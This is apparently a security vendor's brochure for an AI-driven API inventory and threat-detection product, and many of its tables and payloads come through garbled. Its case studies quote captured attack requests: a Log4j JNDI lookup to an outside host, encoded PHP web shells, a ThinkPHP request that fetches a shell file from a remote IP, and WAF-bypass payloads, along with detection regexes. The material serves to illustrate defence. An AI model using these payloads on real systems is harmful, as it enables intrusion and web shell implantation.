

UTDS-Inventorying existing APIs and detecting of network attacks targeting them

APIs have become popular targets for attacks

With the development of technologies such as cloud computing, mobile, and microservices, APIs have become indispensable tools. The rise of generative AI applications has the potential to create new business models by harnessing their capabilities, using more APIs to provide enhanced data and functionality to other applications. However, APIs accessing and integrating data and functionality in more complex ways have increased opportunities for attackers to exploit. Additionally, generative AI models may be hijacked by attackers for malicious purposes.

API traffic accounts for the overall dynamic network traffic

57%

Convenience and flexibility extend beyond legitimate applications The actual quantity of APIs exceeds the known statistical value

30.7%

Hidden APIs bring threats The organization allows the majority of APIs to have "write" permissions, including POST, PUT, and DELETE methods.

59.2%

Loose authentication and authorization management can easily lead to attacks and data leaks





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PCI DSS 4.0 and OWASP specify API security regulations

Follow the regulations to improve security status

| PCI DSS 4.0 Chapter 6 | OWASP API TOP 10 2023 | Explanation |
|-----------------------|---|--|
| | API2 - Broken Authentication | By restricting API access permissions, the risk of APIs being exploited by attackers can be reduced. |
| | API3 - Broken Object Property Level Authorization | By using strong passwords and multi-factor authentication, the risk of APIs being brute-forced or compromised can be reduced. |
| | API4 - Unrestricted Resource Consumption | By monitoring API usage, abnormal behavior can be detected in a timely manner, and countermeasures can be taken. |
| | API5 - Broken Function Level Authorization | Vulnerability scanning and penetration testing can identify security weaknesses in APIs, and countermeasures can be taken to remediate them. |
| | API6 - Unrestricted Access to Sensitive Business Flows | By adopting encryption, the interception or tampering of API data during transmission can be prevented. |
| | | |



Strengthen API Security

Inventorying, Detecting Threats, Mitigate Issues of APIs



Inventorying

UTDS records all the URIs and functions of APIs.

Threat

Detection

UTDS uses AI core to detect malicious attacks in real time, including attacks that have bypassed WAF and other protection measures, OWASP API Top 10 attacks, malicious program uploads, etc.

Issue

Identification

Identify OWASP API Top 10 and other security issues.





API Inventorying

Actively inventorying and classifying

Visualize API Inventorying

Count connecting methods and frequencies

| ScioudCoffer | Home / API Summary | Actively Inventorying |
|---|--|---|
| Dashboard EVENTS | 2024-01-31 → 2024-01-31 ⊕ | Inventory APIs based on host names, folders, and paths. |
| Inbox | input search text Imput search text | Counting # Connections |
| ✓ Custom Tags ✓ Trash ☑ Intrusion Event | < 1 2 3 4 5 ···· 463 > 10 / page ∨ Go to ☆ 897 GET /dpixel | Summarize number of connections to check system bottlenecks and |
| Report New | ☆ | Showing Connecting Methods |
| ☑ TIFF < Service | | Visualize connecting methods to avoid using dangerous controls. |
| Certificate | ☆ 570 POST ∯/forum.php | Warning Security Issues |
| System System Ser Management Configurations | ☆ ⑦ GET //////////////////////////////////// | Detect security threats and unify devices to defend against read- time attacks. |

Unknown Threat Detection System

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API Threat Detection

Detecting known and unknown threats with AI

OWASP API Top 10 Report

Classify based on risk degree



| OWASP API Top 10 Detection Event details | API Top 9 |
|--|--|
| | Classify based on OWASP TOP 10 List risk degree and show statistics |
| CloudCoffer Home / OWASP Top 10 | |
| Dashboard - 2024-01-30 ~ 2024-01-31 API1:2023 - Broken Object Level Authorization 2578 (570) (86) (928) (994) | Event Browsing |
| | Risk degree |
| | Type of attacks |
| Inbox Tue Jan 30 16:13:26 2024 Source 180.217.37.140 Destination | Connection Methods |
| Custom Tags Custom Tags Uncategorized_Advanced_Threat_GET_DETECTION Trash Unique ID: 621c4060402a615aa8633322 | Reason of |
| Intrusion Event Message: MatrixShield detects malicious requests by checking request headers. Malicious request(* Not A;8rand";v="99", "Chromium";v="98", "Google Chrome";v="98") fed to | Detection |
| Report Rule ID: appage2 | Detailed reasoning |
| TINGS Request URL: /airloanEXHOME/front/assets/inc/default/img/demo/homelb-min.png | |
| TIFF Header Froot: : { } 18 items | Raw Data |
| | All attacking raw data is collected |



Case Study

Not only inventorying...

Attackers may hack into systems with weak credentials

| Medium Uncategorized_Advanced_Threat POST PREVENTION | | | |
|---|---|-------------------------|-------|
| Unique ID: | | | |
| Message MatrixShield detects malicious requests by checking request bodies. Mali parameter. | clous request(user- | password-12345615ubmit+ | ed to |
| Rule ID: 000002 | | | |
| Request URI: | | | |
| Header: * "root" : {} 9 items | | | |
| | Weak Credentials | | |
| | UTDS detects weak credentials and brute force attack. | | |



Not only inventorying...

Getting /etc/passwd through vulnerability



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Not only inventorying...

Log4J Sample Exploit

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High Code_Injection GET PREVENTION

Unique ID:

Message: MatrixShield: vulnerability in Apache Log4j library log4j: 2.0 <= Apache log4j <= 2.14.1 Java version already patched: 6u211+ 7u201+ 8u191+ 11.0.1+ (CVE-2021-44228) / i)(\\\$\\%24)(\\{\\%7b).*j.*n.*d.*(i|\xc4\xb1).*(\\:|\\%3a)" at REQUEST_URI.

Rule ID: 990001

Request URI: /c42api/v3/LoginConfiguration?username= {{jndi:ldap://\${:-253}\${:-248}.\${hostName}.username.cntvgh6bs9adkdji63f0x9yx3hbs9smga.oast.me/test}&url=https://localhost

Header:

"root" : {...} 9 items

JNDI Injection

Exploit log4j vulnerability and implant malware



Not only inventorying...

Web shell Implanting

.Chr(97).Chr(115).Chr(111).Chr(117).Chr(116).Chr(112).Chr(117).Chr(116).Chr(40).Chr(41).Chr(59).Chr(100).Chr(105).Chr(101).Chr(40).Chr(41).Chr(59))%38"]

Web shell

Encode characters and compose web shells



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深層辨識存在於網路的各種威脅

Detect not only API threats



Detect transformed and new attacks

UTDS's AI core is equipped with the capability to analyze malicious behavior across more than 400 dimensions, effectively detecting various types of zero-day malicious attacks that penetrate existing security defenses.

No need to patch remotely to detect threats

By adopting AI recognition technology, there is no need to rely on frequent signature updates, nor is there a need for cloud-based analysis to identify attacks in real-time.

Avoid AI poisoning attack

The AI processing core has completed its evolution prior to installation, eliminating the need for learning on the client's end, and also preventing the possibility of hackers inducing the AI to learn inaccurately, which could lead to misjudgments.

Well trained to identify points of threats

The efficient AI core can function autonomously, requiring no frequent updates or external network connections, and is capable of effectively detecting attacks and malware.





Detect not only API threats

All types of network attacks cannot escape the AI eye!

UTDS-sample cases of zero-day detection

Not only API threats

| 12/02/2022 (2 Month) 02/14/2023 Windows Media 04/05/2023 (2 Weeks) 04/19/2023 PySpider 01/12/2023 (2 Month) 03/06/2023 Funadmin 02/08/2023 (2 Month) 04/22/2023 PHPMyAdmin 02/15/2023 (2 Month) 04/27/2023 ThinkCMF | UTDS detection date | Vulnerability disclosure date | CVE Numbers or disclosure URLs | Platforms or applications |
|--|--|----------------------------------|-----------------------------------|---------------------------|
| 04/05/2023 (2 Weeks) 04/19/2023 PySpider 01/12/2023 (2 Month) 03/06/2023 Funadmin 02/08/2023 (2 Month) 04/22/2023 PHPMyAdmin 02/15/2023 (2 Month) 04/27/2023 ThinkCMF | 12/02/2022 (2 Month) | 02/14/2023 | | Windows Media |
| 01/12/2023 (2 Month) 03/06/2023 Funadmin 02/08/2023 (2 Month) 04/22/2023 PHPMyAdmin 02/15/2023 (2 Month) 04/27/2023 ThinkCMF | 04/05/2023 (<mark>2 Weeks</mark>) | 04/19/2023 | | PySpider |
| 02/08/2023 (2 Month) 04/22/2023 PHPMyAdmin 02/15/2023 (2 Month) 04/27/2023 ThinkCMF | 01/12/2023 (2 Month) | 03/06/2023 | | Funadmin |
| 02/15/2023 04/27/2023 ThinkCMF | 02/08/2023 (2 Month) | 04/22/2023 | | PHPMyAdmin |
| | 02/15/2023 (2 Month) | 04/27/2023 | | ThinkCMF |



Case Study Real cases of packet analysis Exploit the systems and download a web shell Wed Apr 12 04:42:26 2023 Source 61.147.93.58 Destination Mixed Attacks 🕥 High Mixed_Generic_Attacks POST DETECTION Unique ID: 6435c632f101f5063861e1ba Message: MatrixShield: PHP Injection Attack F[2. Marning. Pattern match "<\\?(?!xml\\s)" at AR65:vars[1] Rule ID: 211220 Request URI: /// s=index/think%SCapp/invokefunction&function=call_user_func_array&vars%SB8%SD=file_put_contents&vars%SB1%SD%SD%SD=info.php&vars %581%50%58%50-%3C?php%28%%28-%28%22copy%22;%28%a(%22http://216.83.53.42/gingwa.txt%22,%22c.php%22);?%3E Header "root" : { . . . } 8 items Body: []



UTDS AI detects various attacks that have penetrated multiple layers of protection

Attackers utilize complex encoding to bypass WAF detection

| 🕜 Dashboard | 1 2 3 » Total Events 8790 ~Each Page 50 Events Total Events 8790 -Each Page 50 Events | |
|-------------------|--|--|
| EVENTS | | |
| 🖵 All | Sun Jan 21 18:50:43 2024 Source 119.91.36.148 Destination | |
| 🖂 Inbox | High Privilege_Escalation GET PREVENTION | |
| Custom Tags | Unique ID: 65acf703f101f50014682dbe | |
| 🗇 Trash | Message: Access denied with code 403 (phase 1). Pattern match "\\D" at TX:1. | |
| 🖂 Intrusion Event | Rule ID: 240950 | Multiple times of encodings to bypass WAF and IDS/IPS |
| | Request URI: //index.php?keyword=%7Bpboot%7Buser:password%7D:if((%5Bfile_put_co.ntents%5D%5B0%5D | ((%5Bba.se64_decode%5D%5B0%5D)(%58bmV3c3MucGhw%5D%5B0%5D),((%58bas.e64_decode%5D%5B0%5D) |
| 🗅 Report 🛛 🛛 New | (%58Ly9odHRwczovL38ib290Y21zLmNvbQo8P3BocApAc2Vzc21vb19zdGFydCgpOwpAc2V0X3RpbWVFbG1taXQoMCk7Ck81 dOwogICAgICAgICREWyRpXSA9ICREWyRpXV4KYzsKICAgIH0KICAgIHJ1dHVybiAkRDsKfQokcGFzcz0ncGFzcyc7CiRwYX1 | cnJvc19yZXBvcnRpbmcoMCk7CmZ1bmN0aW9uIGVuY29kZSgkRCwkSy17C1AgICBmb3IoJGk9MDskaTxzdHJsZW4OJE sb2FkTmFtZT0ncGF5bG9h2Cc7CiRrZXk9JzNjNmUwYjhhOwHxNTIyNGEnOwppZiAoaXNzZXQoJF9QT1NUWyRwYXNzX |
| SETTINGS | | |
| | | |
| C TIFF < | | |
| | | |
| 💮 Service | Header: | |
| 0.0.0 | * "root" : {} 9 items | |
| And Certificate | | |
| | | |



UTDS AI detects various attacks that have penetrated multiple layers of protection

Attackers use comments to bypass WAF and IDS/IPS

Thu Jan 04 16:48:10 2024 Source 202.61.85.92 Destination

High Mixed_Generic_Attacks GET PREVENTION

Unique ID: 659670caf101f547eb7a3b24

Message: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\$_(?:(?:pos|ge)t|session))\\b" at ARGS_NAMES:member/login/aaaaaa}{pboot:if(true);use/**/function/**/fputs/**/as/**/test;use/**/get/**/as/**/test3;use/**/function/**/hex2bin • 93 chars

Rule ID: 211230

Escape letters and comments to bypass detection

Request URI: /?nember/login/aaaaaaa}{pboot:if(true);use/**/function/**/fputs/**/as/**/test;use/**/function/**/fopen/**/as/**/test1;use/**/function/**/fopen/**/as/**/test1;use/**/function/**/fopen/**/as/**/test3;use/**/fu

xfile=xm117.php&cpt=c3463613437333861306239323385130645363353039613663735383439623c7072653=3c626f64793=3c526f647

FQDN

86576616c28222f2a5a4263363436395631382a2f222e2448793546372e222293b287d7d6e657728476345343933463628245f524551554553545b2778617373275d293b6563686f286572726f72333833f3e3c2f626f6



Malware detection

Users can replay attacks and download malware for further analysis

| Sun Jun 04 04:56:18 2023 Source 178.128.218.93 Destination Control FQDN | T Doloto |
|--|----------------|
| | |
| High Uncategorized_Advanced_Threat POST PREVENTION | 🕈 Replay |
| Unique ID: 647ba909402a613647100d33 | 🖹 Get Pattern |
| Message: MatrixShield detects potential malicious files. Please contact CloudCoffer if you need further assistance to handle the file: /usr/share/checking_file/20230604-045618-ZHuoBywA4AW9ZZQMRHBWCgAAA | 🕨 🗞 Attachment |
| Rule ID: 000001 | |
| Request URI: /assets and assets and a second s | Replay |
| Handan | Send the same |
| reader: { 14 items | |
| "X-Forwanded-For" : "178.128.218.93" | defense |
| "CC-Forwarded-For" : "178.128.218.93" | systems to |
| "CC-Backend" : 1000 1000 1000 | verify the |
| "Host" : " | attacks |
| "Connection" : "close" | |
| "Content-Length" : "365" | Attachmont |
| "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" | Attachiment |
| "Accept": "text/plain, */*; g=0.01" | Download the |
| "Accept-Encoding" : "grip, deflate" | malware for |
| "Accept-Language" : "en-US,en;q=0.5" | further |
| "Content-Type" : "multipart/form-data; boundary= | analysis |
| "Origin": "http:// | |
| "Referer" : "http:// | |
| "X-Requested-With": "XMLHtpRequest" | |
| | |





Deployment architecture, process, and specifications

UTDS-API



One-time service/ Yearly subscription



UTDS monitors whole traffic



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Hunting for unknown threats in the traffic

Inventorying + Threat Hunting

| | UTDS-API | Pure API Inventory Vendor | API Gateway Solutions |
|---|--------------------------|---|---|
| API Inventorying | ✓ | \checkmark | Ø |
| OWASP API Top 10 API Report | \checkmark | V | V |
| API Threat Detection | A.I. 🥑 | Signature 🗸 | Signature 🗸 |
| Threat Intelligence and Update Model | √ n/a (A.I. Model) | Yes (Update intelligence and patterns from cloud) | Yes (Update intelligence and patterns from cloud) |
| API/Web Based Attack Detection | ✓ | | |
| Change Current Network when Deployment | n/a (Mirror traffic) | n/a (Mirror traffic) | Yes (API redirect) |



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Summary

Visualize threats and make a new type of joint defense

Comprehensively enhance the security of API and system protection

Visualize threats and make a new type of joint defense

Inventory API assets and identify malicious threats

- Inventory the protected assets
- Detect OWASP TOP 10 API and Other Attacks
- Joint Defense-Enhance Defense of Current Controls

Reinforce existing protection mechanisms to block known attacks

- Syslog
- IP Blocking
- WAF Enhancement





